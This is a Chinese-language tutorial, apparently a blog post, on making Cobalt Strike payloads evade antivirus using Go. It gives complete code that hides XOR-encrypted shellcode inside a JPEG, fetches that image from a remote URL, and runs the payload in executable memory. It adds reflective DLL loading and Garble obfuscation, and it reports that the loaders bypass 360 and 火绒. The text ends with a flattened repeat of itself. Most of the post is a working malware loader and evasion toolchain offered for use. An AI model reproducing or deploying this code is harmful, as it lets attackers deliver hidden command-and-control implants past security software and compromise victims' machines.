CS 免杀学习
字数 890 2025-08-09 13:33:35

Golang实现CS免杀技术详解

前言

本文详细讲解如何使用Golang实现Cobalt Strike (CS)的免杀技术,主要采用库函数反射加载、shellcode分离和语言混淆等技术手段。通过将病毒代码体(shellcode)和执行体(loader)分离,可以有效规避杀毒软件的特征检测。

技术实现

1. Shellcode嵌入图片技术

1.1 基本原理

  • 使用异或加密将shellcode嵌入到图片文件中
  • 选择JPEG格式图片(以FFD8开头,FFD9结尾)
  • 加密后的shellcode追加到图片末尾(FFD9之后)

1.2 生成图片马的代码实现

package main

import (
    "encoding/base64"
    "fmt"
    "os"
)

const (
    KEY_1 = 22 // 第一次异或的KEY
    KEY_2 = 44 // 第二次异或的KEY
)

func main() {
    var xor_shellcode []byte
    xor_shellcode = []byte{"java_shellcode"}
    var shellcode []byte
    for i := 0; i < len(xor_shellcode); i++ {
        // 双重异或加密shellcode
        shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
    }
    // Base64编码准备写入图片
    encodeBaseStr := base64.StdEncoding.EncodeToString(shellcode)
    fileName := os.Args[1]
    if len(fileName) == 0 {
        fmt.Println("[-]usage:run generate.go pic_path")
        os.Exit(0)
    }
    // 创建文件并追加内容
    f, err := os.OpenFile(fileName, os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
    if err != nil {
        fmt.Println(err)
    }
    // 将加密后的shellcode写入图片末尾
    f.WriteString(encodeBaseStr)
    f.Close()
    fmt.Println("write success")
}

2. 远程加载与内存执行

2.1 技术要点

  • 通过HTTP GET获取图片数据
  • 识别JPEG结束标记FFD9(255 217)
  • 提取并解密shellcode
  • 内存分配与执行

2.2 完整实现代码

package main

import (
    "encoding/base64"
    "fmt"
    "io/ioutil"
    "net/http"
    "os"
    "syscall"
    "unsafe"
)

const (
    KEY_1 = 22
    KEY_2 = 44
    MEM_COMMIT             = 0x1000
    MEM_RESERVE            = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40 // 可执行、可读写内存区域
)

var (
    kernel32      = syscall.MustLoadDLL("kernel32.dll")
    ntdll         = syscall.MustLoadDLL("ntdll.dll")
    VirtualAlloc  = kernel32.MustFindProc("VirtualAlloc")
    RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)

func main() {
    imageUrl := "https://xxxx/xx.jpeg"
    res, err := http.Get(imageUrl)
    if err != nil {
        os.Exit(0)
    }
    body, err := ioutil.ReadAll(res.Body)
    res.Body.Close()
    
    // 查找JPEG结束标记FFD9
    idx := 0
    for i := 0; i < len(body); i++ {
        if body[idx] == 255 && body[idx+1] == 217 {
            break
        } else if idx == len(body)-1 {
            fmt.Print("shell png is not correct!")
            os.Exit(1)
        }
        idx++
    }
    
    base64Str := string(body[idx+2:])
    xor_shellcode, err := base64.StdEncoding.DecodeString(base64Str)
    if err != nil {
        fmt.Print(err.Error())
    }
    
    // 解密shellcode
    var shellcode []byte
    for i := 0; i < len(xor_shellcode); i++ {
        shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
    }
    
    // 分配可执行内存
    addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    if err != nil && err.Error() != "The operation completed successfully." {
        fmt.Println(err.Error())
        os.Exit(1)
    }
    
    // 复制shellcode到内存
    _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    if err != nil && err.Error() != "The operation completed successfully." {
        fmt.Print(err.Error())
        os.Exit(1)
    }
    
    // 执行shellcode
    syscall.Syscall(addr, 0, 0, 0, 0)
}

3. 静态免杀优化

3.1 使用Garble进行混淆

Garble是Golang代码混淆工具,主要功能:

  • 用短base64哈希替换标识符和包路径
  • 删除构建和模块信息
  • 剥离文件名和位置信息
  • 添加编译参数 -ldflags="-w -s"
  • 混淆文字内容
  • 删除额外调试信息

3.2 反射加载库函数

通过动态获取DLL基址和API地址,隐藏导入表信息:

var ntdll_image []byte
ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
ntdll_loader, err := universal.NewLoader()
ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)

3.3 使用HeapCreate替代VirtualAlloc

var (
    kernel32   = syscall.MustLoadDLL("kernel32.dll")
    HeapCreate = kernel32.MustFindProc("HeapCreate")
)

const (
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)

addr, _, err := HeapCreate.Call(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)

4. 完整优化版代码

package main

import (
    "encoding/base64"
    "fmt"
    "io/ioutil"
    "log"
    "net/http"
    "os"
    "syscall"
    "unsafe"

    "github.com/Binject/universal"
)

var (
    kernel32   = syscall.MustLoadDLL("kernel32.dll")
    HeapCreate = kernel32.MustFindProc("HeapCreate")
)

const (
    KEY_1 = 22
    KEY_2 = 44
    HEAP_CREATE_ENABLE_EXECUTE = 0x00040000
)

func main() {
    var ntdll_image []byte
    var err error
    ntdll_image, err = ioutil.ReadFile("C:\\Windows\\System32\\ntdll.dll")
    ntdll_loader, err := universal.NewLoader()
    if err != nil {
        log.Fatal(err)
    }
    ntdll_library, err := ntdll_loader.LoadLibrary("main", &ntdll_image)
    if err != nil {
        log.Fatal(err)
    }

    imageUrl := "未压缩的图片url"
    res, err := http.Get(imageUrl)
    if err != nil {
        os.Exit(0)
    }
    body, err := ioutil.ReadAll(res.Body)
    res.Body.Close()
    
    // 查找JPEG结束标记
    idx := 0
    for i := 0; i < len(body); i++ {
        if body[idx] == 255 && body[idx+1] == 217 {
            break
        } else if idx == len(body)-1 {
            fmt.Print("shell png is not correct!")
            os.Exit(1)
        }
        idx++
    }
    
    base64Str := string(body[idx+2:])
    xor_shellcode, err := base64.StdEncoding.DecodeString(base64Str)
    if err != nil {
        fmt.Print(err.Error())
    }
    
    // 解密shellcode
    var shellcode []byte
    for i := 0; i < len(xor_shellcode); i++ {
        shellcode = append(shellcode, xor_shellcode[i]^KEY_1^KEY_2)
    }
    
    // 创建可执行堆
    addr, _, err := HeapCreate.Call(HEAP_CREATE_ENABLE_EXECUTE, 0, 0)
    
    // 反射调用RtlCopyMemory
    _, err = ntdll_library.Call("RtlCopyMemory", addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
    if err != nil {
        fmt.Printf("false")
    }
    
    // 执行shellcode
    syscall.Syscall(addr, 0, 0, 0, 0)
}

免杀效果评估

  1. 基础版本

    • FireEye可检测
    • 火绒不报毒
  2. 混淆后版本

    • 免杀效果显著提升
    • 多数杀毒软件无法检测
  3. 反射加载+混淆优化版

    • 可绕过360和火绒
    • 静态和动态检测均有一定规避效果

注意事项

  1. 必须使用未压缩的JPEG图片,压缩会导致shellcode损坏
  2. 双重异或加密增加安全性
  3. 反射加载技术有效隐藏API调用
  4. HeapCreate提供另一种内存分配方式
  5. Garble混淆是静态免杀的关键

总结

本文详细讲解了Golang实现CS免杀的完整技术路线,从基础的shellcode分离到高级的反射加载和代码混淆,提供了多层次的免杀方案。通过组合使用这些技术,可以有效规避主流杀毒软件的检测。

Golang实现CS免杀技术详解 前言 本文详细讲解如何使用Golang实现Cobalt Strike (CS)的免杀技术,主要采用库函数反射加载、shellcode分离和语言混淆等技术手段。通过将病毒代码体(shellcode)和执行体(loader)分离,可以有效规避杀毒软件的特征检测。 技术实现 1. Shellcode嵌入图片技术 1.1 基本原理 使用异或加密将shellcode嵌入到图片文件中 选择JPEG格式图片(以FFD8开头,FFD9结尾) 加密后的shellcode追加到图片末尾(FFD9之后) 1.2 生成图片马的代码实现 2. 远程加载与内存执行 2.1 技术要点 通过HTTP GET获取图片数据 识别JPEG结束标记FFD9(255 217) 提取并解密shellcode 内存分配与执行 2.2 完整实现代码 3. 静态免杀优化 3.1 使用Garble进行混淆 Garble是Golang代码混淆工具,主要功能: 用短base64哈希替换标识符和包路径 删除构建和模块信息 剥离文件名和位置信息 添加编译参数 -ldflags="-w -s" 混淆文字内容 删除额外调试信息 3.2 反射加载库函数 通过动态获取DLL基址和API地址,隐藏导入表信息: 3.3 使用HeapCreate替代VirtualAlloc 4. 完整优化版代码 免杀效果评估 基础版本 : FireEye可检测 火绒不报毒 混淆后版本 : 免杀效果显著提升 多数杀毒软件无法检测 反射加载+混淆优化版 : 可绕过360和火绒 静态和动态检测均有一定规避效果 注意事项 必须使用未压缩的JPEG图片,压缩会导致shellcode损坏 双重异或加密增加安全性 反射加载技术有效隐藏API调用 HeapCreate提供另一种内存分配方式 Garble混淆是静态免杀的关键 总结 本文详细讲解了Golang实现CS免杀的完整技术路线,从基础的shellcode分离到高级的反射加载和代码混淆,提供了多层次的免杀方案。通过组合使用这些技术,可以有效规避主流杀毒软件的检测。